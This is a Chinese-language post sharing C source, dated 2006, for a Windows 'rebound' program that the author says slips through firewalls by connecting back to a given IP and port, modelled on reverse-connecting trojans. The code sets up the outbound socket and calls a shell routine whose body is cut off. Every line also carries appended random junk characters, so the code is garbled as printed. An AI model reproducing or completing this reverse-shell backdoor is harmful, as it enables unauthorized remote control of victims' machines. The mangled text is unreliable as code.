这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bp Q/#\Z
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/* ============================== t>;u;XY!;
Rebound port in Windows NT >-fOkOWXy
By wind,2006/7 vL~nJv
===============================*/ - `^594
#include P}B{FIpNG
#include /-BKdkBCpZ
V;$ME4B\{
#pragma comment(lib,"wsock32.lib") $,R
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void OutputShell(); h3y0bV[g=
SOCKET sClient; ?.66B9Lld
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p%A
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void main(int argc,char **argv) Lk{ES$
{ pj?wQ'
WSADATA stWsaData; %:rct
int nRet; 4L}i`)CmB
SOCKADDR_IN stSaiClient,stSaiServer; 1j7^2Y|UT`
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if(argc != 3) }& ;49k
{ (izGF;N+
printf("Useage:\n\rRebound DestIP DestPort\n"); 8,Iil:w
return; z/zUb``
} r}ZL{uWMW
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;`<uo$R
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #;ezMRKM"
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stSaiClient.sin_family = AF_INET; Cz@[l=-T7
stSaiClient.sin_port = htons(0); h">L>*Wfx
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hkOhY3K5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) RzG7Xr=t
{ X1Vx6+[
printf("Bind Socket Failed!\n"); \%Wu`SlDp9
return; 5&V0(LT]C
} p^1s9CM%
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stSaiServer.sin_family = AF_INET; LliOhr4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5P{PBd}glp
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 26n+v(re
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printf("Connect Error!"); @64PdM!L
return; 20glz(
} -yKx"Q9F
OutputShell(); yhnhORSY;
} + ;u<tA
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}\NCFh
void OutputShell() (6##\}L&